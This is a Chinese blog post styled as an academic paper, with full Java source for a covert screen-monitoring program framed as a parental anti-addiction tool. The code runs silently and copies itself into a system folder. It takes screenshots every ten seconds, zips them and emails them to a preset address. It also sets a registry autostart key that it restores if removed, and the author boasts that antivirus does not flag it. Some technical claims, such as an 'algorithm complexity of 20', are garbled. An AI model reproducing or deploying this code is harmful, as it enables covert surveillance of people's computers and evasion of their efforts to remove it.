首页 » 原創 » 正文

[原创]面向Email发送的定时屏幕截图算法与应用

以下是我最近发表的论文,出于隐私保护我删除了自己的名字,文章仅供参考,谢绝转载,谢谢。


面向Email发送的定时屏幕截图算法与应用

摘 要 本文首先介绍了提出面向Email发送的定时屏幕截图算法的实际需求和背景情况。接着,针对时间跨度大、定期采样、安全性要求高、成本要求低等情况设计了核心算法,并用java进行了实现。最后,总结了不足和展望了接下来进一步改进的方向。
关键词 定时屏幕截图,监控,防沉迷,Java,Email
中图分类号 TP311,TP312   文献标志码: A

Email delivery oriented Java timed screenshots algorithm and its applications
Abstract: Firstly, it introduced the need to use timed screenshots and Email delivery in practice. Secondly, it proposed the Email delivery oriented Java timed screenshots algorithm, and realized this algorithm with Java. Finally, it summarized the paper and presented the future work.
Key words: Timed screenshots,monitor,anti-addiction,Java,Email

1  引言
屏幕截图就是将电脑屏幕上的桌面、窗口、对话框、选项卡等屏幕元素保存为图片。在Windows下用户可以使用键盘上的“打印屏幕系统请求”(Print Screen)按键进行整个屏幕的截图,还可以借助专业的屏幕截图软件进行截图。
电子邮件是—种用电子手段提供信息交换的通信方式,是互联网应用最广的服务。通过网络的电子邮件系统,用户可以以非常低廉的价格、非常快速的方式,与世界上任何一个角落的网络用户联系。电子邮件可以是文字、图像、声音等多种形式。极大地方便了人与人之间的沟通与交流,促进了社会的发展。
当前,随着计算机网络的普遍,未成年沉迷于网游的现象越来越普遍,如何对青少年的上网行为进行纠正已成为了一个社会性问题;作为家长,可能需要及时掌握孩子的上网情况,并做出一些针对性的方案,此时采用传统的控制和监控软件显然是不合适的,因为家长关心的往往是自己白天上班时孩子的上网情况,一边忙于工作,一边兼顾关注孩子,显然是不现实的。正式在这样的背景下,我们说需要一款软件,能够定时记录孩子正在使用电脑的情况并通过Email进行传送,这样家长白天可以安心工作,晚上查一下邮箱便知道孩子的动向,省时省力,而且也显得非常必要和有用。
与此同时,在工业生产中,也需要对计算机进行监控和查看,虽然远程桌面可以解决一部分问题,但其缺点也是显而易见的:不加选择的实时数据传送不但耗费带宽、占用硬盘空间、违反节能主题、效率低下,而且还需要主控端保持开机,如果需要同时处理不同主机的数据时更是显得力不从心。如果有一款软件,只要运行一次,以后就会定期的将机器的情况(屏幕截图)传递到指定邮箱,显然是一个合适而且非常有用的方法。
针对上面所讨论的一些实际场合:需要对长时间的操作定时采样并安全的传送,在本文中,我们设计了这样一款软件,它可以:静默实现一系列自我拷贝,定时屏幕截图,自动压缩打包,后台邮件传送,开机自启等功能。将计算机的使用情况安全可靠地传送给控制人员。具体的程序优点如下:
(1)本程序由Java语言编写,有较高的安全性并且容易扩展;
(2)程序从运行到结束(包括网络Email发送)不会产生任何提示或信息;
(3)不对最初运行程序产生依赖,即使在运行后将其删除,依旧不影响程序运行。所有生成的文件和压缩包将自动保存在本机;
(4)程序不定时添加开机自启,即使被他人误取消也会很快恢复;
(5)程序将自己完成所有工作,并且每隔3小时再运行一次,其中执行间隔时间可以自己调整;
(6)程序的执行过程主流杀毒软件不会报毒,用户不必手动添加信任;
(7)程序使用变量标记文件名,当一轮操作结束将变量置为0,覆盖原来上一轮的文件,避免了大量文件堆积和删除操作;
(8)如果用户有特别关注的程序,可以控制程序自动检测并在其启动后加快截图速度。
本文的内容安排如下:第一节给出了本文算法“面向Email发送的定时屏幕截图算法”的实际需求背景;第二节给出了核心算法的设计思想;第三节使用Java语言对算法进行了实现;第四节对本文进行小结。
注:(1)由于使用Java编程语言,运行程序的机器需要安装java环境;
(2)本文中所涉及程序的测试运行环境为windows 7, JDK 1.7.0_67上。
2  核心算法设计和分析
在这一节中,我们将给出算法主要的设计步骤和相关流程图,并对算法进行初步的分析。
算法主要步骤如下:
(1)程序启动后复制自身到c盘system文件夹下,重命名为sub.jar
(2)复制结束后启动屏幕截图,每10秒(可调)进行一次屏幕截图,并在system文件夹下生成
img文件夹,将保存的截图依次命名为1到6的图片文件。
(3)当图片文件达到6张(可调)时,停止截图,启动打包程序。
(4)程序自动将img文件下的所有文件打包为rar格式的压缩文件,在system下创建zip文件
夹,并将新创建的压缩文件保存其中。
(5)设置文件标记为0,下次启动时文件将重新命名为1.jpg并覆盖原文件,节省空间。
(6)检查并设置开机自启动。
(7)启动后台邮件发送,自动将刚才创建的压缩文件以邮件附件的形式发送到指定的邮箱。
(8)休眠3小时(可调)再次启动从2到8的步骤。


算法流程图如下:
2
图1 算法流程图
UML类图如下:
1
图2 UML类图

算法分析
程序每3个小时为一个运行周期,我们以最初的三个小时分析算法时间复杂度:
->生成system文件夹
->复制自身---重命名
->生成img文件夹
->截图6次
->生成zip文件夹
->打包6张图片
->设置标记
->开机自启
->发送邮件
因此,算法复杂度为20

3  算法实现
下面我们主要基于Java,对“面向Email发送的定时屏幕截图算法”进行编程实现。在使用Java进行编程实现之前,我们首先对Java这种脚本语言进行一个简单的介绍。
3.1  Java
Java是一种可以撰写跨平台应用软件的面向对象的程序设计语言。Java 技术具有卓越的通用性、高效性、平台移植性和安全性,广泛应用于PC、数据中心、游戏控制台、科学超级计算机、移动电话和互联网,同时拥有全球最大的开发者专业社群。
3.2  核心代码
	下面给出“面向Email发送的定时屏幕截图算法”的Java代码实现,具体如下:
=======================主启动类=======================
public class MainFrame extends JFrame {
	public static void main(String[] args) {
		new CopyFile();//复制自己
		new ScreenSnapshot();//自动开始屏幕截图
	}
=====================自我复制类=======================	
class CopyFile {
	public CopyFile(){
		copyFile("start.jar","C:\\system\\sub.jar");//复制自身
		}
	public void copyFile(String oldPath, String newPath) {
		try {
			int bytesum = 0;
			int byteread = 0;
			File oldfile = new File(oldPath);
			if (oldfile.exists()) { // 文件存在时
				File f2 = new File("C:\\system\\");
		        f2.mkdir();
				InputStream inStream = new FileInputStream(oldPath); // 读入原文件
				FileOutputStream fs = new FileOutputStream(newPath);
				byte[] buffer = new byte[1444];
				int length;
				while ((byteread = inStream.read(buffer)) != -1) {
					bytesum += byteread; // 字节数 文件大小
					System.out.println(bytesum);
					fs.write(buffer, 0, byteread);
				}
				inStream.close();
			}
		} catch (Exception e) {
			System.out.println("复制单个文件操作出错");
			e.printStackTrace();
		}
}
}
========================屏幕截图与主控类=========================
public class ScreenSnapshot {
ScreenSnapshot() {
for (int i = 1, j = 1; true; i++, j++) {// i是循环标记,无限增大,j是图片文件标记,将其使用后置0,直接覆盖原来的文件
			try {
				Thread.sleep(10000);// 休眠10秒,每10秒截一次图
			} catch (InterruptedException e1) {
e1.printStackTrace();
			}
			try {
				int width = (int) Toolkit.getDefaultToolkit().getScreenSize().getWidth(); // 要截取的宽度
				int height = (int) Toolkit.getDefaultToolkit().getScreenSize().getHeight(); // 要截取的高度
				Robot robot = new Robot();
				BufferedImage image = robot.createScreenCapture(new Rectangle(width, height));
				image = image.getSubimage(0, 0, width, height);// 全屏截图,局部截图请修改宽高
				File file0 = new File("C:\\system\\");
				file0.mkdir();// 创建新目录
				File file = new File("C:\\system\\img\\");
				file.mkdir();// 创建新目录
				ImageIO.write(image, "png", new File("C:\\system\\" + "img\\" + j + ".jpg"));// 截图保存
				System.out.println("created[" + j + "]");
				if (i % 6 == 0) {// 这里设置每6张截图自动打包为zip压缩文件,并邮件发送指定邮箱。
					try {
						Zip.main(null);// 压缩
					} catch (Exception e) {
						e.printStackTrace();
					}
					j = 0;// 标记置0,省去删除操作,以保证总体空间不太大
					new AutoStart();// 设为开机自启,设置在这里的原因是防止用户通过其他方式去除自启项
					new Send();// 发送邮件
					try {
						Thread.sleep(10800000);// 发送邮件后,休眠3小时,这是为了避免频烦发邮件造成网路堵塞和被服务器视为垃圾群发邮箱
					} catch (InterruptedException e) {
					e.printStackTrace();
					}
				}
			} catch (AWTException e) {
				e.printStackTrace();
			} catch (IOException e) {
				e.printStackTrace();
			}
		}
	}
}  
=======================自动打包类======================
public class Zip {
    public static void main(String[] args)
            throws Exception {
        File f = new File("C:\\system\\img");
        File f2 = new File("C:\\system\\zip");
        f2.mkdir();//创建目录
        ZipOutputStream out = new ZipOutputStream(new FileOutputStream(
                "c:\\system\\zip\\note.zip"));//压缩文件
        zip(out, f, null);
        System.out.println("zip done");
        out.close();
    }
    private static void zip(ZipOutputStream out, File f, String base)
            throws Exception {
        System.out.println("zipping " + f.getAbsolutePath());
        if (f.isDirectory()) {
            File[] fc = f.listFiles();
            if (base != null)
                out.putNextEntry(new ZipEntry(base + "/"));
            base = base == null ? "" : base + "/";
            for (int i = 0; i < fc.length; i++) {
                zip(out, fc[i], base + fc[i].getName());
            }
        } else {
            out.putNextEntry(new ZipEntry(base));
            FileInputStream in = new FileInputStream(f);
            int b;
            while ((b = in.read()) != -1)
                out.write(b);
            in.close();
        }
}
=======================开机自启动类==========================
public class AutoStart {
  	public AutoStart(){
	 	try {
			at();
		} catch (IOException e) {
			e.printStackTrace();
		}
  }
  public static void at() throws IOException {
  	String key="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
  	String name="system";//启动项名称
 	 String value="C:\\system\\sub.jar";//程序路径
  	String command="reg add "+key+" /v "+name+" /d "+value;
 	 Runtime.getRuntime().exec(command);
 	}
}
======================判断某个进程是否存在==========================
public class isAlive {
     public static void main(String[] args) throws IOException {
    	if(isRunning("QQ.exe")){System.out.println("运行");}
    }
public static boolean isRunning(String exeName) {
        Process proc;
        try {
            proc = Runtime.getRuntime().exec("tasklist");
            BufferedReader br = new BufferedReader(new InputStreamReader(proc
                    .getInputStream()));
            String info = br.readLine();
            while (info != null) {
              if (info.indexOf(exeName) >= 0) {
                    return true;
                }
                info = br.readLine();
            }
        } catch (IOException e) {
            e.printStackTrace();
        } 
        System.out.println(false);
        return false;
    }
 }
=======================发送邮件相关类=====================
public class Mail {  
    //定义发件人、收件人、SMTP服务器、用户名、密码、主题、内容等  
    private String displayName;  
    private String to;  
    private String from;  
    private String smtpServer;  
    private String username;  
    private String password;  
    private String subject;  
    private String content;  
    private boolean ifAuth; //服务器是否要身份认证  
    private String filename="";  
    private Vector file = new Vector(); //用于保存发送附件的文件名的集合  
   	public void setSmtpServer(String smtpServer){  this.smtpServer=smtpServer;  }   
public void setFrom(String from){ this.from=from; }  
public void setDisplayName(String displayName){ this.displayName=displayName;}  
public void setIfAuth(boolean ifAuth){this.ifAuth=ifAuth;}  
public void setUserName(String username){this.username=username;}  
public void setPassword(String password){this.password=password;}  
public void setTo(String to){this.to=to;}  
public void setSubject(String subject){this.subject=subject;}  
public void setContent(String content){this.content=content;}  
public void addAttachfile(String fname){file.addElement(fname);}  
public Mail(){}  
    //初始化SMTP服务器地址、发送者E-mail地址、用户名、密码、接收者、主题、内容 
        public Mail(String smtpServer,String from,String displayName,String username,String password,String to,String subject,String content){  
        this.smtpServer=smtpServer;  
        this.from=from;  
        this.displayName=displayName;  
        this.ifAuth=true;  
        this.username=username;  
        this.password=password;  
        this.to=to;  
        this.subject=subject;  
        this.content=content;  
    }  
        //初始化SMTP服务器地址、发送者E-mail地址、接收者、主题、内容 
       public Mail(String smtpServer,String from,String displayName,String to,String subject,String content){  
        this.smtpServer=smtpServer;  
        this.from=from;  
        this.displayName=displayName;  
        this.ifAuth=false;  
        this.to=to;  
        this.subject=subject;  
        this.content=content;  
    }  
      //发送邮件 
       public HashMap send(){  
        HashMap map=new HashMap();  
        map.put("state", "success");  
        String message="邮件发送成功!";  
        Session session=null;  
        Properties props = System.getProperties();  
        props.put("mail.smtp.host", smtpServer);  
        if(ifAuth){ //服务器需要身份认证  
            props.put("mail.smtp.auth","true");     
            SmtpAuth smtpAuth=new SmtpAuth(username,password);  
            session=Session.getDefaultInstance(props, smtpAuth);   
        }else{  
            props.put("mail.smtp.auth","false");  
            session=Session.getDefaultInstance(props, null);  
        }  
        session.setDebug(true);  
        Transport trans = null;    
        try {  
            Message msg = new MimeMessage(session);   
            try{  
                Address from_address = new InternetAddress(from, displayName);  
                msg.setFrom(from_address);  
            }catch(java.io.UnsupportedEncodingException e){  
                e.printStackTrace();  
            }  
            InternetAddress[] address={new InternetAddress(to)};  
            msg.setRecipients(Message.RecipientType.TO,address);  
            msg.setSubject(subject);  
            Multipart mp = new MimeMultipart();  
            MimeBodyPart mbp = new MimeBodyPart();  
            mbp.setContent(content.toString(), "text/html;charset=gb2312");  
            mp.addBodyPart(mbp);    
            if(!file.isEmpty()){//判断是否有附件  
                Enumeration efile=file.elements();  
                while(efile.hasMoreElements()){   
                    mbp=new MimeBodyPart();  
                    filename=efile.nextElement().toString(); //选择附件名  
                    FileDataSource fds=new FileDataSource(filename); //得到数据源  
                    mbp.setDataHandler(new DataHandler(fds)); //得到附件本身并至入BodyPart  
                    mbp.setFileName(fds.getName());  //得到文件名同样至入BodyPart  
                    mp.addBodyPart(mbp);  
                }    
                file.removeAllElements();      
            }   
            msg.setContent(mp); //Multipart加入到信件  
            msg.setSentDate(new Date());     //设置信件头的发送日期  
            //发送信件  
            msg.saveChanges();   
            trans = session.getTransport("smtp");  
            trans.connect(smtpServer, username, password);  
            trans.sendMessage(msg, msg.getAllRecipients());  
            trans.close();  
        }catch(AuthenticationFailedException e){     
             map.put("state", "failed");  
             message="邮件发送失败!错误原因:\n"+"身份验证错误!";  
             e.printStackTrace();   
        }catch (MessagingException e) {  
             message="邮件发送失败!错误原因:\n"+e.getMessage();  
             map.put("state", "failed");  
             e.printStackTrace();  
             Exception ex = null;  
             if ((ex = e.getNextException()) != null) {  
                 System.out.println(ex.toString());  
                 ex.printStackTrace();  
             }   
        }  
         map.put("message", message);  
        return map;  
    }  
}  
public class SmtpAuth extends javax.mail.Authenticator {   
    private String username,password;   
    public SmtpAuth(String username,String password){   
        this.username = username;    
        this.password = password;    
    }   
    protected javax.mail.PasswordAuthentication getPasswordAuthentication() {   
        return new javax.mail.PasswordAuthentication(username,password);   
    }   
}     
public class Send {
public Send() {
		Mail m=new Mail();
		m.setSmtpServer("");//设置发送服务器
		m.setUserName("");//设置用户名
		m.setPassword("");//设置邮箱密码
		m.setContent("This mail is AutoSending");//设置邮箱内容
		m.setDisplayName("Autosending");//设置显示名
		m.setFrom("");//设置发送邮箱
		m.setTo("");//设置接受邮箱
		m.setIfAuth(false);//是否验证
		m.addAttachfile("c:\\system\\zip\\note.zip");//添加附件
		m.setSubject("subject");
		MailcapCommandMap mc = (MailcapCommandMap) CommandMap.getDefaultCommandMap();
mc.addMailcap("text/html;;x-java-content-handler=com.sun.mail.handlers.text_html");   	mc.addMailcap("text/xml;;x-java-content-handler=com.sun.mail.handlers.text_xml");        	mc.addMailcap("text/plain;;x-java-content-handler=com.sun.mail.handlers.text_plain");   	mc.addMailcap("multipart/*;;x-java-content-handler=com.sun.mail.handlers.multipart_mixed");        	mc.addMailcap("message/rfc822;;x-java-content-handler=com.sun.mail.handlers.message_rfc822");
CommandMap.setDefaultCommandMap(mc);
		m.send();
	}
}使用环境
在本部分,主要对程序的配置、测试使用进行一个简单的介绍。
运行环境
此程序只可在Windows系列操作系统中运行。程序的运行必须要有java环境。经测试,在Windows XP,Windows 7各版本中可直接运行,360杀毒软件没有报毒和任何操作警告。
基本使用
程序点击运行后无需人工干预,同时由于全程静默后台执行,没有任何界面。
4  小结
	本程序方便地解决了一些需要长时间,定时采样的远程监控事件,它全自动静默运行,不占用过多的空间,尤其是邮件发送,避免了主控端一直要开机的情况,同时也为多台被控端同时工作带来了可能。
接下来,我们会进一步考虑改进:
(1)可将主控端做成界面形式,在本版本的程序中,各个参数需要在源代码中调整,多有不便,可将这些参数抽出,单独赋值,方便控制;
(2)由于本程序是java语言编写,需要被控端安装java环境,未来可将jre环境打包并在没有java环境的机器上安装;
(3)如果用户的网络没有连接到互联网,则邮件发送无法成功,未来可写一个检测互联网是否连通的模块,如果网路不同,则改变方式为本机保存或停止截屏,等待网络连通后再传送;
(4)部分模块有平台依赖性,由于开机自启动是用java修改注册表,判断进程调用了系统函数,所以程序只能在windows平台运行,未来可针对此情况做出改进。
参考文献:
[1]Java API 1.7.
[2]百度百科, 屏幕截图,http://baike.baidu.com/view/7087692.htm.
[3]百度百科, 电子邮件,http://baike.baidu.com/view/1524.htm.
[4]百度百科, Java,http://baike.baidu.com/subview/29/12654100.htm.
[5]博客园, 幻影 , Java发送邮件(带附件), http://www.cnblogs.com/yejg1212/archive/2013/06/01/3112702.html.
[6]开源中国社区, Andy市民, Java 获取系统的进程列表, http://my.oschina.net/andy1989/blog/205309.

发表评论